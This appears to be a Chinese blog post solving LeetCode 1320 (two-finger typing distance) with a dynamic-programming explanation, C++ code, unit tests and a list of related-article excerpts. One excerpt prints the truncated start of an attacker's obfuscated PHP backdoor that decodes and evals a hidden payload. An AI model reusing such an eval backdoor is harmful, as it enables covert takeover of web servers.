【字符串 状态机动态规划】1320. 二指输入的的最小距离
本文涉及知识点
动态规划汇总
字符串 状态机动态规划
LeetCode1320. 二指输入的的最小距离
二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。
例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1),字母 P 位于坐标 (2,3) 且字母 Z 位于坐标 (4,1)。
给你一个待输入字符串 word,请你计算并返回在仅使用两根手指的情况下,键入该字符串需要的最小移动总距离。
坐标 (x1,y1) 和 (x2,y2) 之间的 距离 是 |x1 - x2| + |y1 - y2|。
注意,两根手指的起始位置是零代价的,不计入移动总距离。你的两根手指的起始位置也不必从首字母或者前两个字母开始。
示例 1:
输入:word = “CAKE”
输出:3
解释:
使用两根手指输入 “CAKE” 的最佳方案之一是:
手指 1 在字母 ‘C’ 上 -> 移动距离 = 0
手指 1 在字母 ‘A’ 上 -> 移动距离 = 从字母 ‘C’ 到字母 ‘A’ 的距离 = 2
手指 2 在字母 ‘K’ 上 -> 移动距离 = 0
手指 2 在字母 ‘E’ 上 -> 移动距离 = 从字母 ‘K’ 到字母 ‘E’ 的距离 = 1
总距离 = 3
示例 2:
输入:word = “HAPPY”
输出:6
解释:
使用两根手指输入 “HAPPY” 的最佳方案之一是:
手指 1 在字母 ‘H’ 上 -> 移动距离 = 0
手指 1 在字母 ‘A’ 上 -> 移动距离 = 从字母 ‘H’ 到字母 ‘A’ 的距离 = 2
手指 2 在字母 ‘P’ 上 -> 移动距离 = 0
手指 2 在字母 ‘P’ 上 -> 移动距离 = 从字母 ‘P’ 到字母 ‘P’ 的距离 = 0
手指 1 在字母 ‘Y’ 上 -> 移动距离 = 从字母 ‘A’ 到字母 ‘Y’ 的距离 = 4
总距离 = 6
提示:
2 <= word.length <= 300
每个 word[i] 都是一个大写英文字母。
动态规划
vPosr和vPosc记录各字母所在行列。
动态规划规格的状态表示
dp[i][j][k] 表示处理了i个字母,两只手指分别在字母i和j的最少移动次数。
pre[j][k] = dp[i][j][k]
dp[j][k] = dp[i+1][j][k]
空间复杂度:O(n ∑ ∑ \sum\sum ∑∑),其中n = word.lenght ∑ \sum ∑ 是字符集的大小,为26。
动态规划的转移方程
任何前置状态都有只有两个转化方式。移动手指1,移动手指2。
单个状态的时间复杂度O(1)
总时间复杂度:O(n ∑ ∑ \sum\sum ∑∑)
动态规划的初始状态
全部为0
动态规划的填表顺序
i = 0 : to n-1
动态规划的返回值
min(pre)
代码
核心代码
template<class ELE, class ELE2>
void MinSelf(ELE* seft, const ELE2& other)
{*seft = min(*seft, (ELE)other);
}class Solution {
public:int minimumDistance(string word) {int rs[26], cs[26];for (int i = 0; i < 26; i++) {rs[i] = i / 6;cs[i] = i % 6;}vector<vector<int>> pre(26, vector<int>(26));for (int i = 0; i < word.length(); i++) {const int cur = word[i] - 'A';vector<vector<int>> dp(26, vector<int>(26, m_iNotMay));for (int j1 = 0; j1 < 26; j1++) {for (int j2 = 0; j2 < 26; j2++) {const int need1 = abs(rs[j1] - rs[cur]) + abs(cs[j1] - cs[cur]);MinSelf(&dp[cur][j2], pre[j1][j2] + need1);const int need2 = abs(rs[j2] - rs[cur]) + abs(cs[j2] - cs[cur]);MinSelf(&dp[j1][cur], pre[j1][j2] + need2);}}pre.swap(dp);}int iRet = m_iNotMay;for (const auto& v : pre) {iRet = min(iRet, *std::min_element(v.begin(),v.end()));}return iRet;}const int m_iNotMay = 1'000'000;
};
单元测试
template<class T>
void AssertEx(const vector<T>& v1, const vector<T>& v2)
{Assert::AreEqual(v1.size(), v2.size()); for (int i = 0; i < v1.size(); i++){Assert::AreEqual(v1[i], v2[i]);}
}template<class T>
void AssertV2(vector<vector<T>> vv1, vector<vector<T>> vv2)
{sort(vv1.begin(), vv1.end());sort(vv2.begin(), vv2.end());Assert::AreEqual(vv1.size(), vv2.size());for (int i = 0; i < vv1.size(); i++){AssertEx(vv1[i], vv2[i]);}
}namespace UnitTest
{string word;TEST_CLASS(UnitTest){public:TEST_METHOD(TestMethod0){word = "AB";auto res = Solution().minimumDistance(word);AssertEx(0, res);}TEST_METHOD(TestMethod01){word = "ABC";auto res = Solution().minimumDistance(word);AssertEx(1, res);}TEST_METHOD(TestMethod02){word = "ABCD";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod03){word = "ABM";auto res = Solution().minimumDistance(word);AssertEx(1, res);}TEST_METHOD(TestMethod04){word = "ABCM";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod11){word = "CAK";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod1){ word = "CAKE";auto res = Solution().minimumDistance(word); AssertEx(3, res);}TEST_METHOD(TestMethod20){word = "HAPP";auto res = Solution().minimumDistance(word);AssertEx(2, res);}TEST_METHOD(TestMethod2){word = "HAPPY";auto res = Solution().minimumDistance(word);AssertEx(6, res);}};
}
扩展阅读
视频课程
先学简单的课程,请移步CSDN学院,听白银讲师(也就是鄙人)的讲解。
https://edu.csdn.net/course/detail/38771
如何你想快速形成战斗了,为老板分忧,请学习C#入职培训、C++入职培训等课程
https://edu.csdn.net/lecturer/6176
相关推荐
我想对大家说的话 |
---|
《喜缺全书算法册》以原理、正确性证明、总结为主。 |
按类别查阅鄙人的算法文章,请点击《算法与数据汇总》。 |
有效学习:明确的目标 及时的反馈 拉伸区(难度合适) 专注 |
闻缺陷则喜(喜缺)是一个美好的愿望,早发现问题,早修改问题,给老板节约钱。 |
子墨子言之:事无终始,无务多业。也就是我们常说的专业的人做专业的事。 |
如果程序是一条龙,那算法就是他的是睛 |
测试环境
操作系统:win7 开发环境: VS2019 C++17
或者 操作系统:win10 开发环境: VS2022 C++17
如无特殊说明,本算法用**C++**实现。
相关文章:

【字符串 状态机动态规划】1320. 二指输入的的最小距离
本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示,其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0),字母 B 位于坐标 (0,1)࿰…...
2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】
第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...

外观模式(大话设计模式)C/C++版本
外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...
PHP木马原文
攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...

湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析
湖南源点调研认为:无论是创业公司,还是在公司内部探索新的项目或者新的产品线等,首先都要做“市场机会分析与调研“,要真正思考并解答以下疑问: 我们的目标客户群体是谁,他们如何决策? 我们所…...

Vue82-组件内路由守卫
一、组件内路由守卫的定义 在一个组件里面去写路由守卫,而不是在路由配置文件index.js中去写。 此时,该路由守卫是改组件所独有的! 只有通过路由规则进入的方式,才会调这两个函数,否则,若是只是用<Ab…...

使用ESP32和Flask框架实现温湿度数据监测系统
项目概述 在这个项目中,我们将使用ESP32微控制器读取温湿度传感器的数据,并将这些数据通过HTTP请求传输到基于Flask框架的服务器。Flask是一个轻量级的Python Web框架,非常适合快速开发和部署Web应用。通过这个项目,我们不仅可以了…...
为什么按照正确的顺序就能开始不断地解决问题,按照不正确的顺序,问题就没有办法能够得到解决呢?
按照正确的顺序解决问题与按照不正确的顺序可能导致问题无法解决,这背后有几个关键原因: 1. **逻辑性**: 正确的顺序通常遵循逻辑性和因果关系(因为得按照这个基础的逻辑性才能够是自己顺应规律,太阳没有办法能够从西…...
嵌入式Linux gcc 编译器使用解析
目录 1.说明 2.分步编译法 3.编译源文件的四个阶段 4.gdb调试及常用命令 5.Makefile 1.说明 源文件 main.c 想生成 source gcc –g –O2 main.c –o source 黄色部分便是控制字 -g用于GDB –O2用于优化编译; 绿色部分表示源,可以由多个组成,用空格隔开; gcc …...

4、matlab双目相机标定实验
1、双目相机标定原理及流程 双目相机标定是将双目相机系统的内外参数计算出来,从而实现双目视觉中的立体测量和深度感知。标定的目的是确定各个摄像头的内部参数(如焦距、主点、畸变等)和外部参数(如相机位置、朝向等)…...
Oracle 数据库表和视图 的操作
1. 命令方式操作数据库(采用SQL*Plus) 1.1 创建表 1.1.1 基本语法格式 CREATE TABLE[<用户方案名>]<表名> (<列名1> <数据类型> [DEFAULT <默认值>] [<列约束>]<列名2> <数据类型> [DEFAULT <默认…...

美国ARC与延锋安全合作,推动汽车安全气囊技术新突破
在汽车安全领域,安全气囊作为关键被动安全配置,对于保障乘客生命安全至关重要。随着汽车工业的快速发展和科技创新的持续推进,安全气囊技术的升级与革新显得尤为重要。2022年10月25日,美国ARC公司与延锋安全携手合作,共…...

Docker:centos79-docker-compose安装记录
1.安装环境:centos7.9 x86 2.安装最新版: [rootlocalhost ~]# curl -fsSL get.docker.com -o get-docker.sh [rootlocalhost ~]# sh get-docker.sh # Executing docker install script, commit: e5543d473431b782227f8908005543bb4389b8desh -c yum in…...

相交链表(Leetcode)
题目分析: . - 力扣(LeetCode) 相交链表:首先我想到的第一个思路是:如图可知,A和B链表存在长度差,从左边一起遍历链表不好找交点,那我们就从后面开始找,但是这是单链表&…...

建造者模式(大话设计模式)C/C++版本
建造者模式 C 参考:https://www.cnblogs.com/Galesaur-wcy/p/15907863.html #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std;// Product Class,产品类,由多个…...

【地质灾害监测实现有效预警,44人提前安全转移】
6月13日14时,国信华源地质灾害监测预警系统提前精准预警,安全转移10户44人。 该滑坡隐患点通过科学部署国信华源裂缝计、倾角加速度计、雨量计、预警广播等自动化、智能化监测预警设备,实现了对隐患点裂缝、位移、降雨量等关键要素的实时动态…...
Ruby 数据库访问 - DBI 教程
Ruby 数据库访问 - DBI 教程 本文将详细介绍如何使用 Ruby 的 DBI(Database Interface)库来访问和操作数据库。DBI 是 Ruby 语言中一个常用的数据库接口库,它提供了一套统一的接口来访问不同的数据库系统,如 MySQL、PostgreSQL、SQLite 等。通过本文的学习,您将掌握如何使…...

Linux环境搭建之CentOS7(包含静态IP配置)
🔥 本文由 程序喵正在路上 原创,CSDN首发! 💖 系列专栏:虚拟机 🌠 首发时间:2024年6月22日 🦋 欢迎关注🖱点赞👍收藏🌟留言🐾 安装VMw…...

Dell戴尔灵越Inspiron 16 Plus 7640/7630笔记本电脑原装Windows11下载,恢复出厂开箱状态预装OEM系统
灵越16P-7630系统包: 链接:https://pan.baidu.com/s/1Rve5_PF1VO8kAKnAQwP22g?pwdjyqq 提取码:jyqq 灵越16P-7640系统包: 链接:https://pan.baidu.com/s/1B8LeIEKM8IF1xbpMVjy3qg?pwdy9qj 提取码:y9qj 戴尔原装WIN11系…...
.NET C# 装箱与拆箱
.NET C# 装箱与拆箱 目录 .NET C# 装箱与拆箱1 装箱 (Boxing)1.1 过程:1.2 示例: 2 拆箱 (Unboxing)2.1 过程:2.2 示例: 3 性能影响4 性能优化4.1 使用泛型集合示例: 4.2 使用Nullable<T>示例: 4.3 避…...

接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...

Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
R语言AI模型部署方案:精准离线运行详解
R语言AI模型部署方案:精准离线运行详解 一、项目概述 本文将构建一个完整的R语言AI部署解决方案,实现鸢尾花分类模型的训练、保存、离线部署和预测功能。核心特点: 100%离线运行能力自包含环境依赖生产级错误处理跨平台兼容性模型版本管理# 文件结构说明 Iris_AI_Deployme…...

MongoDB学习和应用(高效的非关系型数据库)
一丶 MongoDB简介 对于社交类软件的功能,我们需要对它的功能特点进行分析: 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具: mysql:关系型数据库&am…...

前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...